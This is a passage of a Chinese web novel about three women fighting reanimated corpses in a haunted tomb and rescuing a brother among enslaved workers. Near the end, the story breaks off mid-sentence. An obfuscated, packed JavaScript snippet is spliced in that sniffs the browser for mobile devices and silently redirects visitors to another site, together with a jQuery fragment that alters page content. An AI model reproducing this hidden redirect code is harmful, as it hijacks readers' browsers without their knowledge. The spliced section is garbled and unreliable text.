她扶着墙稳住身子,余光看到身旁的柜子,直接掀翻在地,再有五中一切能搬动的东西全数招呼在了这个打不死的恶魔身上,连带之前她曾想过的会不会有人藏身在那的烛台。 火光升腾,麦子从枕边翻出一盒针线,直逼那弯腰乱挥着拳头的人,将那些针扎进了那人满头,再深深咳嗽起来,扶着桌子跪坐在地上。 “干得漂亮!但是姐姐你要逃命啊!” 麦子身上多少都被火燎到,这会坐下喘着气,收回手指搓了搓,冷眼瞧着旁边的躺倒的男人,勾唇笑了下:“快累死了,让姐姐缓缓,而且姐姐也不想和这人死在一处。” “哦” 麦子抹了一把脸,直将糊了满脸的血,才起身踉跄着撑到门口,拉开刚才重新被关住的门,外面光线刺眼,是晨曦。她叹了下,踏出了屋子。 有光影在眼前掠过,麦子闭了闭眼,再睁开,是点在自己眉心的剑指,似有温热从指尖融进脑海,颇有平心静气之感,而这感觉在下一刻便被旁边挂上来的人搞没了。 “没事了没事了,芩竹停下吧!”姜绾还在吸鼻涕,眼睛红红看过来,麦子心酸,抬手拧了下她的鼻子,看向芩竹,那人手上的蜡烛都快烧到底了,而她们脚下,落着一圈符灰。 姜绾捂着鼻子,笑道:“咱们快走吧,这可真吓人。” “嗯,好。”麦子笑了下,长出一道胸口的郁气,接过芩竹手上的蜡烛,问刚才她们发生了什么。得知原是芩竹施了个姜绾也没见过的法子,能接着她和麦子两人的心绪,让姜绾能短暂和麦子对话。 这种术法麦子没听过,就连传闻也没有,只当是些民间不可传的秘术,出于担心,她还问了下芩竹有没有副作用,那人看起来一点不像个施咒人,凤眼缓缓眨了下,说,不知道。 麦子摇摇头笑着,几人先前匆匆进了通道,又灰溜溜从通道里出来,不爽地将这口重新封上。认真在石室寻了一遍,发现八个兽座下都有通道……这可如何是好。 分头行动是万万不可的,基于前一条通道里并没有什么太极端的危险,所以三人决定接着刚才石像旁边的通道走,目前也只能进无法退了。 麦子手上的蜡烛已经用不成了,幸好手边还有一个凑活,于是也不敢再耽误,芩竹先一步便钻了进去。 和刚才那条道一模一样,芩竹数着步子,就连变宽敞的位置都一样,只不过这里不知是不是靠近深处的原因,比比刚才冷一些。 芩竹边走边观察着墙上的凹凸,有些地方凸起的特别大,鼓出的大包都能占据大半个身位,两人并排还得给这大包让位置,让人不禁好奇施工之人的用意。 她想起来外面的那些兽,还有摆正的方位,忽然转身问姜绾:“我们会不会入了什么奇门法阵?” 姜绾本是揽着麦 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果然,麦子刚刹停步子,就听那凄惨的尖叫声:“鬼啊!!” 身后明灭晃动的微弱光线下,能依稀看见映在光中毛乱的长发,还有挥动的一只手臂,是个人形,却没有人样。因为除了麦子看见的头和带着半截上半身的手臂之外,什么也没有了。 看清楚之后,麦子登时心头发凉,硬着头皮摸出腰间的弹弓朝那半身鬼的后脑射去,一下打中,那鬼定住了。姜绾的叫声还在,只不过听声是朝后避了些,麦子嗓子眼发干,看着几步前的鬼,颤着声音喊了声:“还好吗!” “不好!他动了,你小心!” 正如姜绾所说,那半截残样的鬼正“咔吧咔吧”的扭着脖子,好像是后面的两人又往来走了些,光线亮了点,麦子才看清,这半身鬼是用那只手臂扣着石道的顶,吊在半空,牙酸的声音结束,那鬼头上的发丝缠着脸,扭来“看”向麦子,但他的脸明明被泥土封了大半…… 麦子最初愣了一下,接着迅速射出两块锋利的石块打在那鬼眉心,又有一块射在吊着他身体的手腕上。眉心两块都无济于事,只有手腕上那块叫他砸在了地上,此时看就只有矮矮一坨,不动了。 麦子缓了口气,火光飘来,她抬眼看去,是姜绾和芩竹,两人见状便就朝她喊:“快跑!” 她脚步愣了下,就见原本在地上像死过去的鬼突然暴起而来,风将鬼脸上缠着的头发吹开,露出里面那张看不清五官的脸,心跳骤停。 而在那鬼脸近至身前时,突然又条红绳当空而来卡在这鬼之上,将他一下拽到了地上,眼前跳起一抹鹅黄色的身影抱着个圆盘模样的东西一下拍在了着鬼脑袋上。 “符纸符纸……”姜绾嘴里还念叨着,麦子回过神,抬头看向近前的芩竹,她手上还捏着根红绳,刚想道谢,那人身后鼓囊囊的墙中突然顶出一颗半秃的头颅,张着裂到耳边的大嘴伸长脖子朝芩竹啃去。 芩竹略有所感,侧身避了下,同时刚好有道破风声划过,转眼一看,麦子正举着手中的弹弓。 “还有?!”蹲着身子的姜绾听到声音,只感叹天都快塌了,爬起来就跑,“快快!”剩下两人急忙跟上,路上又有缺胳膊少腿的鬼从石壁中冲出,个个出其不意,简直是想将她们困死在这,每只鬼手都力大无比,只要被抓住便就是被长甲贯穿。 芩竹挡在前面,不可避免的被那些脏手抓了数道,突然,自她怀中涌出一抹红光,那光从小猛地变大,燃成汹汹火焰,眼前的鬼瞬间便被烧没了影。 她顿了下,这火就要翻滚着充斥整个通道,姜绾和麦子的感激之情还没持续多久,便瞬间崩塌,嚎道:“自己人自己人啊!” 芩竹赶忙按住胸口使劲拍那布人,喊了几声“商则”才止住火,麦子的披风早就烧没了,两人喘着粗气重新靠近芩竹,推搡着继续向前。 不过商则这一出到底帮了些忙,起码身前的路没了阻碍,一路顺利。 越靠近石座下的通道口,越是低矮,还要蹲挪出去,芩竹落在了最后,趁乱把蜡烛交给了麦子,侧头避开不知哪里飞出的一条腿,转身抓住一只半身鬼的头发,拎着晃了两下砸向身后追来的宛若大型爬虫的鬼影们。 貌似砸下了几个猴儿似倒吊在石壁上的家伙,芩竹半刻不停蹲下身往外爬,快至出口时,忽然颈间传来一股大力将她带着向后仰倒,后背蹭在石地上,脸上是近在咫尺的“哬哬”声。 她突然很庆幸自己把蜡烛给出去了,看不见他们的脸。 芩竹扣着自己颈间带着长甲的手,另一只手一巴掌糊在面前的鬼脸上,艰难地挪着身子想靠自己蛄蛹出去,刚努力了两下,身上又压来一股重量。 怀中的红光隐隐有爆出的样子,芩竹使劲撑着脑袋顶上的大脸,刚要阻止商则,两只脚忽地被人抓住,直接拖着将她向通道外拽去。 眼前恢复光亮时芩竹还有点没反应过来,脑袋上的鬼头被掀掉,麦子将原本挡在通道口的石板举起,直接砸在了被芩竹带出半拉身子的鬼身上,堵住通道口。 芩竹从地上爬起来,踩着石板下蠕动的鬼头和鬼爪,和麦子一起按着石板。 一旁的姜绾这会也不在乎什么吓不吓人的了,拿着罗盘席地而坐,紧张地搓搓手,捧着罗盘紧盯着那上面转动的方位,回忆自己这方面不甚清晰的记忆。 她算着算着,转头看了看旁边的通道,表情空白了一瞬,纠结着嘟囔:“不应该啊,第一次走的是生门?” 刚才通道处的石板被那条道中的怪物撞得通通作响,麦子肩头被穿了个孔,现在还在流血,疼痛之下失力就叫里面的一只黑污的爪子伸了出来,举起就要抓再麦子的天灵盖,又让芩竹在旁边奋力一按石板,卡住了那只手。 “如何了?”麦子换了另一边胳膊,扭头问。 姜绾急得满头是汗,看着地上画的各种宫位,抬头茫然地看着这里。忽然注意到眼前那简单的棺木前面摆着个不起眼的方形木板,一个想法出现在她心头。 虽然不太可能,但如果那是个碑,总是不该朝北,就好像一切都是反了过来,就像她们进过生门,却并没哟寻到出路。所以,其实去的应该是死门? 姜绾的目光落在坤位上的那个镇墓兽身上。 芩竹一直看着姜绾的神情,现在也顺着她的目光去看,再转过来时,见那人正望着自己,眼中满是不确定。 “走吧。顶不住了。”她说。 麦子看着这两人的哑谜,多少也猜出来什么,说:“起来带路,死就死吧,黄泉路上也能作伴。反正我不想被这些东西吃了。” 姜绾舔了舔唇,深吸一口气收了东西向西南处的通道口跑去,挪开挡住的石板,转身看向她们。芩竹见状,朝麦子扬了扬下巴,示意她先去。 后者压着眉毛看了她一眼后,迅速放手往姜绾那里跑去,拉着那人钻进了通道,顺手带着石板挡住石道口,还把姜绾吓了一跳,忙忙转身,就被石板缝隙漏进来的红火烫到了手。 “喔,什么情况……” 麦子没有说话,只见眼前石板挪动两下被移开,芩竹蹲身身钻进来,翠色衣裳上残留的火苗被她随意拍掉,顺着石壁靠坐下来:“歇会,累了。” 可是……三人盯着麦子手里所剩不多的蜡烛,看向通道深处。 再不走恐怕之后的路更难啊。 22. 百人墓 最终几人还是没有耽误,向通道深处前进,两次前车之鉴都不甚美丽,因此她们这次无比警惕,哪怕是因为自己喘气过大导致烛火摇曳,都能让三只小兔原地炸毛。 几次三番下来,姜绾和麦子简直都要神经衰弱了,努力瞪着眼睛一人一边揪着芩竹的袖子在后面慢慢走。 约莫过了半个多时辰,芩竹实在受不了了,停下喝了口酒,才打起精神继续向前。 麦子见状,开口道:“换一下吧。” “没事,我就是困了。”芩竹边打哈欠边说。 姜绾这一路半是无聊半是焦虑的把芩竹围兜上破口处的线抽出了一长条,在手指上缠了好几个小毛线球,眼看这围兜后面都快被自己扯没了,又急急住手,展开那些线球,急躁地编麻花辫。 听见她们两人的对话,清了清嗓子,开玩笑道:“咱们进的墓室也太穷了,要不然还能拿点东西出去补贴家用。” 麦子闻言嗤笑:“别说这地方半点不像墓室,就算真是,那恐怕也轮不到咱们。” “怎讲?”芩竹眼边的烛火晃得她瞌睡,难得的接了话,将蜡烛换去另一只手,下一刻被麦子自然接过。 “这要是墓室,早就被盗墓贼们先一步席卷了,哪还轮得到咱们,这年头啊,下地了也不安全……”麦子幽幽道,又看向旁边两人,带着调侃问,“真没钱了?” 姜绾瞅她一眼,瘪着嘴道:“还有点,但是——” 但是那术士找不到,芩竹肯定要继续找线索,茫茫人海如大海捞针,又是一笔大开销,而且这人不知道是不是命里带着的,走到哪都要出点事端,还得淘点符纸以备不时之需,所需费用更多。 姜绾快愁死了,丝毫没把自己和芩竹本是两路人这件事放在心上,直接默认要跟着她一路了。 芩竹回头瞄了眼姜绾,她当然知道这姑娘的性子,想到两人那并不富裕的钱袋子,也开始犯了难。 眼前是黑洞洞的路,多想无益,眼下最要紧的,也只是先保着人出去。 芩竹垂眸,在怀中暗袋里掏了掏,捻出两块铜板反手塞到姜绾手心,说:“拿着解闷吧。” 布人在她怀里动了动,探头出来看向姜绾,那人愣愣捏着手心的东西,颇为无奈地收好,继续揪着芩竹的围兜拆线。布人蹭了两下,又重新缩回衣襟,沉浸在自己的世界,压住躁动的情绪。 麦子弯着眼睛看着她们二人,实在好奇:“想问许久了,你们是姐妹吗?” “不是。”两人同时道。 “是嘛。”麦子点点头,刚想再问点什么,转脸一个不留神撞在了芩竹后背,她赶紧抬高蜡烛防了下,问,怎么了。 芩竹伸手在自己脑袋蹭着的通道顶部上摸着,然后慢慢向前走,麦子注意到,她原本稍弯着的背逐渐挺直,手也伸得更高,抬高伸直,左右两边也能伸直。 “拐弯了,道宽了些,路应该没错。”芩竹说着,回身接过麦子手上的蜡烛,贴着大弧度的拐角石壁缓缓走着。 这弯拐得格外大,而且一路上坡,大概一盏茶的功夫,路面平缓,烛火晃了下,芩竹定住脚,挡住身后的人,定睛看着眼前的一片亮光。 有鬼。 芩竹竖起食指在嘴边示意,踮着脚探出头。 拐角后面是一条长直的道,和她们所在处一般宽,里面横七竖八地瘫着六七个人影,手中都抱着个巴掌大的发光珠子。皆是一样的服装,灰头土脸瘦骨嶙峋,不过好在,是完整的。 这里阴气浓重,芩竹也分不出这群是人是鬼,可这般萎靡,应当也没什么威胁。 她扭头把前面的场景向身后两人说了,麦子听后表情就变得奇怪,略显急切地跟着探身望去。 芩竹怕她急得闹出动静,赶紧向后退了一步让开地方,再看过去时,麦子不知道看见了什么,表情一怔,身体不自觉地向前跨了一步。 这一步属实真情实感,踩在空旷的通道里略显大声。 姜绾默默闭上眼缩在芩竹旁边,时刻准备跑路,然而下一瞬,却是听麦子抖着声唤道:“小七……?” 嗯? 旁边两人呆愣地看向麦子,那人扶着石壁望向拐角后的石道,做的是要冲过去的姿态,又被芩竹犹豫拦下。 这时,那边同样传来一道不确定地回声:“姐姐?” 姜绾拧眉看着芩竹,迷惑极了,而两边都已知道对方的存在,再拦着也没什么用,芩竹放下手,和姜绾一同探身出去,身旁的麦子已然小跑出去,朝着石道里一个扶着墙壁起身的少年跑去。 那少年同旁人一样,身上染着厚厚的灰,勉强能认出样子,单薄的身躯在那身工服里晃荡着,瘦极了。起身时,浑身都在颤抖,向着墙壁的方向歪着。 看见麦子跑来,他应是笑了,露出排牙齿,伸出两手去接她,然后身体便重重蹭在墙上。 “他的腿……”姜绾小声道。 芩竹摇摇头,两人看着那边姐弟相认的温情一幕,缓缓走过去。 石道两边坐着的工人看见她们来,也没有做出反应,只是抓着手上的珠子,紧紧盯着她们。 “小七,你怎么……”麦子托着小七的胳膊,上下看了看,移到他的手,鼻音渐渐重了,撒开他解开肩上的包袱,说,“找你都找不到,也不知道之前做的衣裳现在还能不能穿了。” 从里面抽出一件较厚的外袍,麦子看着面前人干瘦的手腕,抬手的动作一顿,扯出个笑来:“能穿,家里还有几件,回去了慢慢换。” 小七抿了抿唇,点头,任她给自己披上衣服,才表情凝重地问:“你是怎么到找到这里的?” 恍然记起现在自己的处境,麦子“嗷”了声,指着身后两人介绍了下,斟酌道:“她们二人来办点事,路上出了点变故,才到这里的。” 道中虽有夜明珠照着,可到底也是昏暗,小七听她说话时,就努力地看着麦子,这才发现她深色衣服上的灰土和破口,难受道:“这地方危机四伏,一不留神便是丢了性命,如何能乱跑到这里。” 姜绾揪了揪自己脏兮兮的衣服,瞄了眼一身惨样的芩竹,默默上手给她呼噜呼噜毛,悄声道:“没事,我安慰你。” 芩竹:…… “还说我呢,你——你们又是怎么回事?”麦子话说到半截卡顿一下,环看了周围这些人,拧眉问道。 明明是来做工的,怎么好像成了地下的陪葬。 小七表情并不轻松,越过麦子向芩竹两人点点头打招呼,拉着麦子的手稍稍用力撑了下身体,顺着石壁滑坐下去。 麦子皱眉扶着他,与他坐在一处,听他讲话。 最初,麦子其实也是能收到小七消息的,会有专门的捎信人给她带上口信,说是“一切安好”或“山头哪棵歪脖树带东西”,不过到底是前者居多。 唯一一次可以去送点东西,却没有见到小七,是个板着脸不好亲近的人来的,那人冷冰冰地警告了句,就拿着她的东西头也不回地走了。 而她的这番描述,在小七听来,更是茫然。 他跟着那伙人一路去了周边的地方,将一些破败的寺庙修缮了一番,绕了一圈返回到叶城县后边的山,进了个凿开的山洞。 刚开始小七还觉得国师心善,直到进了这洞,才发现一切和想得不太一样。 他们不能休息,一路按着上头人的指示挖,一旦有反抗,便是死路一条,更是有家人的性命做威胁。 这一路死去不知多少同伴,又送进来多少,终于,小七熬到了据说完工的那天。 他们这帮工人分去的区域不同,小七带着一帮兄弟跟着领头人出了洞,这期间,他们是由一根长链拴着的。 因为长期不见光,猛地从洞中爬出上山,根本看不清路,还是到了佛堂,才知道自己来的是青云寺。 工头喝一声,他们便开始忙活,挖通了一条向下的石道,也是一条去往坟墓的通道。 他们的工具被收走了,然后困在了自己挖出的陷阱里面。 “那些口信我都不曾带过,被骗了。”小七说。 麦子这会心情复杂,没好气道:“骗就骗了吧,人还在就好,咱们先想办法出去。” 那头在拉家常,芩竹两人不好掺和过去,缩在最边的一个工人身旁,听她们聊完了,便想问问这是谁的墓。 动作间,芩竹不经意注意这些工人,似乎有股奇怪的感觉从指尖窜来,伸出的手顿在半空,又收回来。 “这位姑娘,我等也不知道。”小七说着,紧了紧身上的厚衣服,却没觉得暖和半点,他缩着手,没当回事,看姜绾抱着手臂紧张的样子,宽慰道,“放心,这条路没事。” 麦子看了眼姜绾,向她点点头,对自己的弟弟十分信任,然后撑着小七起身,那人跛着腿走了两步,身后的工人也纷纷站起跟上。他们看起来是以小七为首,抱着照明的珠子无言地跟着走,皆是一脸漠然。 要和这么多陌生男人同路,姜绾还是有点不自在的,和芩竹走在队伍最后,留着不远不近的两步距离。 这路条路如小七所说,一路安静什么都没发生,又走了差不多半柱香,石道到了尽头,小七举着珠子在面前的墙上晃了一圈,转头看向身后道:“把这块板推开。”说着伸手推了下旁边扶着他的麦子,和那些工人抵在墙上用力。 麦子想插手也插不上,只能和芩竹她们站在后面看着这块板被挤开,“砰”的一声巨响在地上砸出滚滚灰尘。 将那些灰尘扬开,露出的是和之前墓室一般大的石室,石道口还有石室对面有两步路宽的台阶,中间的部分像是挖了大坑,坑里面四行五列,二十个人,身上穿的是和小七他们一样的衣服,整齐地背对着芩竹她们所处的石道口,朝着石室对面的一个半圆类门的地方叩首,样子称得上是虔诚。 “那里应该就是这间石室的出口。”小七道,率先走出了石道,扭头寻找麦子,“这些人我们在其他密室中遇到过。都是已故的人,尸体却能发动攻击,到现在还不清楚他们是靠什么苏醒的,过的时候要小心别碰到他们。” 芩竹从前面一群人的缝隙中看着这些人。 二十个人几乎占了整间石室的位置,行列之间的间距也只有两只脚 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想要快些到达安全的地方,心里着急,环境安静,便想得越多,胡思乱想,也就无法顾忌脚下,而且他们本就走路摇晃,旁边走在最后的一位工人原本距离台阶只需要再路过一个跪拜的阴尸,这一下分心,一脚崴在那具阴尸身上。 “哧”的一声,贴在那阴尸身上的小腿顿时发出热油与水结合的声音,工人的惨叫同时发出。 “啪——”夜明珠摔在地上,那工人腿上失力整个仰倒,被旁边骤然起身的阴尸按在地上,瞬息间便只剩下个破损的工服。 前面的工人被身后的动静吓到,一下子跪上台阶,连滚带爬地向那扇半圆门跑,嘴里嚎叫着听不出来的话。 芩竹和姜绾就在那死去的工人旁边,这一下可谓是正面见证了他的死法,天知道姜绾用了多大的力气没控制住自己不要乱窜。 可这也没什么关系了,因为整个大坑里的阴尸在那夜明珠碎裂时,就已经“苏醒”了,像是骨骼重组一般,扭曲着弓身而起,但这会行动还算缓慢,起码没有像第一个那般突然。 芩竹推了一把还在愣神的姜绾,避着旁边乱挥的尸体胳膊带着人向前跑。 本钻进石道查看前路的麦子等了半天不见后面的两人,担心出了什么事要回去看,迎面便撞上了个踉跄跌进石道的工人,那人叽里咕噜的什么也说不出,像是被吓得不轻。 不过看这表现不用猜也知道发生了什么。 麦子心中一沉,摸着弹弓就要过去,那头姜绾的喊声已经来了:“有路吗,有路吗!” 伴随着凌乱的脚步,芩竹和姜绾从石道口跑进来,外面充斥着嘶哑的叫声,还有沉重的踏步。 “有,小七在开了!”麦子赶紧去扶那个还坐在地上的工人,将他架起来向里面冲。 身后阴尸紧追不舍,和芩竹只隔着半个身位,她弯腰避过伸来的爪子,长腿一扫绊倒一个顾头不顾腿的阴尸,然后拽过本是挡那通道口的石板,使劲抬起压过去,扭头就跑。 这通道并不长,几步路就到了尽头,姜绾和麦子正扶着那一头的石板焦急地看她。 芩竹在怀里摸索一把,奔出石道前将摸找出的布人反手丢回石喊道:“商则!”接着回身和另外两人一块扶着石板挡主石道的出口。 几乎同时,阴寒的火光从石板后透出,一股大力将她们连同石板一起掀翻在地。 几个工人完全在状况之外,也被这突如其来的巨大动静搞得一惊,纷纷去扶压着板下的人。小七担心地紧,跛着腿将麦子抢出来,拉着就要数落。结果被身边工人的声音打断。 那人抱着头,不住地摇晃,嘴里念着:“他们来了他们来了……” 旁边的工人听着如临大敌,还以为是阴尸冲了过来,立刻向通道里望,可哪有什么阴尸,阴气倒是浓重的不像话,看一眼身子骨都发颤。 芩竹拍拍身上的灰,走去通道里摸着黑喊:“商则?”喊了几声没人应,她也不停继续找着喊着,然后脚下踩到了一个异物,蹲下一摸,好像是个布娃娃。 她捡起来走出通道,就着旁边的亮光抬手随便给他擦了擦。 商则此刻就和真的死物一般,芩竹捏着他的身子,其余的四肢和脑袋便和没有支撑般垂下去,难得的,芩竹竟然从他那三个点的五官上看出了意思:应该是生气了。 她继续蹭着布人身上的灰,然而自己也是脏的可以,越努力越心酸,干脆放弃,说:“喊你不应,踩了怪我。” 商则望了会石壁顶,抬起脑袋,在芩竹手里转了一圈想找个舒服点的姿势,这一低头,看见了她右腿下衣摆的破口,绿衣混着黑红色粘着腿侧,看着伤得不清。 他心头那点躁动又开始了,光是压着身上的气都要费老大劲,索性挣出芩竹的手钻去她衣襟里的暗袋,将自己藏了个严实:“头晕,有事喊我。” 大概是耗力太多,芩竹想着,收起手想看看这间密室的样子,抬眼后发现身旁人都在盯着她看,一时无言,斟酌开口:“不是妖怪。” 那些人还在看,表情略微有些一言难尽,芩竹便又加了一句:“不咬人。” “……” 23. 百人墓 “知道了。”麦子笑道,将旁人的注意从商则的身上拉回来,放在这间石室上。 芩竹奇怪地拍拍腰间的那块凸起,是那只布人正藏在腰间的暗袋里,像是真晕了,缩着一动不动,她也不再管他,找这间石室的出口。 和上一间石室构造很像,不同的是,这间的坑更深一些,四面的石壁都有两步宽的台阶,这么看,中间那个坑更像是地板掉下去了一块,而且对面的门也不再用石板卡住,堆着些石块,像是坍塌造成的。坑中同样跪着一群和刚才一样的工人。 为求稳妥避开他们,肯定是要在石壁边上的台阶上走的,可令他们头疼的是,这四面石壁上,大大小小鼓着数不清的包。 都是从那间墓室出来的,看见这包很难不会联想到什么,所以现下,一群人站在通道口,进也不是退也不是。 小七和麦子站在一起,一脸凝重地看着面前的场景,沉声道:“都拿好手上的家伙,这里我熟悉,马上就要出去了。”听到他的话,身后的工人们皆是深吸口气,捏着木根或半截的小铲,看着对面的门。 芩竹则是又找出酒壶偷偷喝了一口醒神,余光看见姜绾在瞅自己,还给她晃了晃,那人茫然地瞪着眼睛摇头。她不清楚这是怎么了,低头瞄了眼姜绾垂下头去的表情,观察不出来,又去瞧麦子。 后者在一边说着什么,感受到视线看过来,就发现这边两朵发蔫发困的蘑菇。 “是不是害怕。”麦子小声问。 芩竹掀起眼皮瞟了眼麦子,又移向姜绾。看她抓着包袱,站得直挺挺的,不愿意说话,但是极其缓慢地点头。 麦子跨上前一步揽住姜绾,手上有意无意地上下慢慢搓着,芩竹看在眼里,忽然想到,之前桂枝也做过这个动作,那次,也是姜绾被吓到的时候。 “再坚持一下,过了这道门就到了,等回去,姐姐给你做好吃的。”麦子平时说话都像是带着刺,时不时就冒出来扎上两下,这次声音虽也是带着调笑,可话中内容却是无比温柔,姜绾自己本还能撑一撑,听她说完,立马就忍不住,眼泪落了下来。 芩竹歪头看着她,伸出自己那脏手在姜绾脸上擦了下,在眼角留下一道深色痕迹,是血和土混出来的颜色。她看见了,放弃了要学麦子的动作,垂手道:“别怕。” 这和快死了,来一句“别死”的作用很像,姜绾心想。她使劲抽抽两下,拍拍胸脯,说:“不怕,咱们走吧,我现在饿得能生吃那些干尸……” 这玩笑当下没人接茬,姜绾也不在乎,本就是随口说来自己安慰自己的。 麦子也知道这时候说什么也没有自己振作管用,和芩竹对视一眼,那人眼神扫向不远处安静站着看向她们的小七,麦子点点头,转去扶着小七,两人照旧走在最前面。 芩竹则是将姜绾拉着放在身前,慢慢推着跟在队伍最后面。 莫名多了三个人,其中一个和小七有关系,走最前面没有关系,但若是另外两个也挤在队伍中间,到底引人生怨,芩竹两人走在后面对谁都好。 脚下的台阶距离地板有两节高,和最边上的阴尸挨得近却也隔着两三步,比起上一个地方,这里起码好走了些,担心的不过是这石壁上的凸起。 小七在前面引路时,尽可能走得飞快,就是怕那些阴尸从石壁里窜出来,和麦子踏上对面通道口的台阶后,这些阴尸还没有出来的迹象,便去搬堵在通道的石头,而这时,队伍最后的两人才刚刚踏上另一边的石壁台阶。 麦子在身后工人的帮助下挪开一块巨石,垒在上面的碎石没了支撑滑下来大半,不知是否是她的错觉,这些石头滑下来时,像是带着地面都震动了一下。 她晃晃脑袋甩掉这些不好的想法,继续抬着挡在边上的小石头。突然,那晃动的感觉又来了,这次她可以确定不是幻觉。 整个石室开始发颤,石壁上的凸起下在蠕动,中间跪拜的阴尸似上次般伸展,这是要苏醒的预兆。 还在台阶上的人也发现了这点,立刻加快速度,然而这石室就像是在根据他们的步调震动,他们越快,晃动越大,已经无法行动,而石壁顶部那个大的凸起已然破开一道口子,从里面落下两条皮包骨的腿。 台阶上的人不敢耽误,加快速度,每走一步便都是踩在一声石块碎裂的声音上。 忽然,一声巨响在石室响起,还带着一道转瞬即逝的嘶哑叫声。 姜绾在后面不知道发生了什么,整个人僵在原地,只知道前面的人不明原因停了下来,还不等未知的恐惧渐渐形成,台阶旁边的阴尸已经“醒”来,瞬间便向台阶聚来,伸手要抓。 芩竹眼疾手快抓着姜绾的衣领向后拽了一步,姜绾便又亲眼目睹了身前的一个人被阴尸堆吞,那阵害怕造成的反胃还没有好,下一刻,身旁的这个大坑突然“轰隆”一声,灰尘四起。 前面工人动作开始慌张,推搡着向前,头顶石壁上的凸起猛地伸出一只带着尖甲的手,胡乱挥舞。 总共不到半臂宽的台阶陷入混乱。 “地陷了!” 不知道是谁的喊声,让人看到了旁边的景象。 原本大坑的地方空出一大块,借着夜明珠的光亮看去,灰尘下面是漆黑的大洞,而那洞中,密密麻麻站着不知多少阴尸,皆是呆呆仰着头向上看。 下层应该还有个石室,这层地板塌陷,阴尸落下去,和下面石室的混在一起,看着有小百个。 不过还好,一层石室得有两个半芩竹那么高,这样阴尸起码不会轻易跳起来抓他们。 这时候也大概猜到刚刚突然出现的巨响是从何来。芩竹侧身向前看了眼,沉声道:“前面的台阶断了一块。” 姜绾早就听不见旁边人说的什么了,绷着神经抖着声音答应,机械抬脚。 石室还在晃,台阶上行走只能扶着石壁稳住身形,这条路行了大半,陆续便有从墙中爬出的异形阴尸。 有的只有上半身,有的只有下半身……也不知道是如何做到的。 这些从顶上爬下来,蓄力跳下便能将一个人从台阶上掀下去,坠入底层石室。 要被一群阴尸分食,想想就很——不想! 芩竹抽空瞄了眼姜绾的表情,从她那快速变换的表情里准确地读出了这句话。 终于踉跄着走了大半,突然,不知几人之前的石壁边猛地窜出一颗头颅,后面人做了防备,早早避开,却动作过大直接撞在后一人身上。 这一退,让之后紧挨的几人步伐全乱,齐齐向后倒去。 姜绾本就木着,被前面一个后仰的工人踩到,另一只脚没站稳,扶了下石壁就向下层倒去。 芩竹扶着她,察觉不对手上用力将人拽了回来,然而—— “葫芦!” 姜绾怀中的葫芦早在之前各种逃窜中偏离了里面的衣料,歪的这一下,竟从衣襟里滑落出来。 泛着流光的小葫芦在空中划过一个弧度,光下还能看到下层石室中攒动的头。 姜绾着急,下意识要伸手去捞。芩竹见状,反手按住她,身子探出大半将那葫芦抓住,而自己也失去平衡向下面栽去。 被按在原地的那人骤然回身,发髻上带着的两颗珠串在匆忙扭头中碰撞出脆响,姜绾听得格外清晰,她急忙伸手只抓住了芩竹的围兜一角,手指中紧紧拽着那被拆得稀碎的线,那抹豆绿急速下坠,被下面猛然激动的黑影吞没。 “芩竹!” 姜绾在台阶上无措极了,跟着石室的晃动贴在石壁上,脑中一时间冒出来无数种想法,最后想到什么抖着手要去拆她的包袱,使劲朝下面喊着芩竹的名字。 忽然,身侧长出一条向外翻折的手臂,扭着黑色的爪就要向她抓来。 姜绾浑身一个激灵朝后避开,看那手臂扬起五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13628088|142769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指却突然被击飞。她愣了下,抬眼看见对面的麦子放下弹弓向她喊:“快跑。芩竹呢?!” “她掉下去了!”姜绾急得哭喊,听见麦子的话像是终于找到思绪,扶着石壁向她那边去,又在一瞬间,似乎听见下面有人在叫她,于是脚步顿了下,欣喜地向下层望去。 只见那黑漆漆的大洞下方,层层叠叠的阴尸弹飞数个,中间短暂地空出来一圈,显出道绿色的清瘦身影。身影应当是抬起头,给她打了个手势,接着随手抄起一个阴尸,甩开身侧的阻碍,往刚才指的方向前行。 姜绾凭猜测觉得她是让自己先去麦子那里,也不管脚下稳不稳的了,深一脚浅一脚几乎是蹦着跟在队伍后面,台阶最后那个半人长的大缝隙也不管不顾地跳了过去。 这边的工人都在努力搬运通道口的石块,姜绾不敢喘息,把包袱里的红绳拿出来向下面喊:“芩竹,我在这里!”接着就要放红绳去下层石室。 麦子从一旁赶来,伸出弹弓打落从上面掉下来的断肢残骸,拧眉道:“越来越多了。”说着看见姜绾的动作,不太赞同道:“你这样会不会把下面的阴尸拉上来?” 芩竹是不知道她们对话的,如果知道,她一定发出认同的声音。 又不知被哪排牙齿啃了一口,她抬头看了眼被阴尸率先抢占的红绳末端,心头竟然起了一阵从未有过的感觉,那种感觉无法描述,很像空中排排而过的乌鸦。 她伸手将那上面的阴尸撕下来,自己肩头又被一只沉重的阴尸骑上,瞬间便和那玩意滚作一团,然后身上再次被压下几道重量。 怀中靠腰的位置突然发凉,接着一阵麻木的寒凉暴起,眼前炸开一片红光,压在身上的重量顷刻间消失,芩竹眯了眯眼,猛地光亮过去,视野里是一个暗红发浅的高大背影,她难得地愣了下,又迅速回神,起身向那红绳跑去。 商则没有消失,一直跟着她,却没了之前那般满城浴火的架势,芩竹身上也燃着冷火,从阴尸嘴里抢下红绳一头,拽了两下,绳上传来拉力,芩竹踢开脚边一只大手,扭头道:“冷静点,你快没了。” 她说的是商则。 这货现在好像是被什么压制了,虚影一团,却在旁边强行燃着。 “我怕你没了。”他说。 芩竹正在慢慢向上,因为身上包裹着冷火,从一边啃上她的阴尸一时半会无法伤到她,这让她能趁机还手,总算是轻松了些。 从斜上的角度看,商则站在那群脸都看不清的干尸里,鹤立鸡群,而几近透明虚影的里又能透过那些可怖的鬼影,未在一处,又像是融为一体。 那双在她心里一直睁圆的眼睛这时候被眉毛压住,或许也是角度吧,看着很凶。但好像就该是这个样子的,芩竹不知怎么这么想。 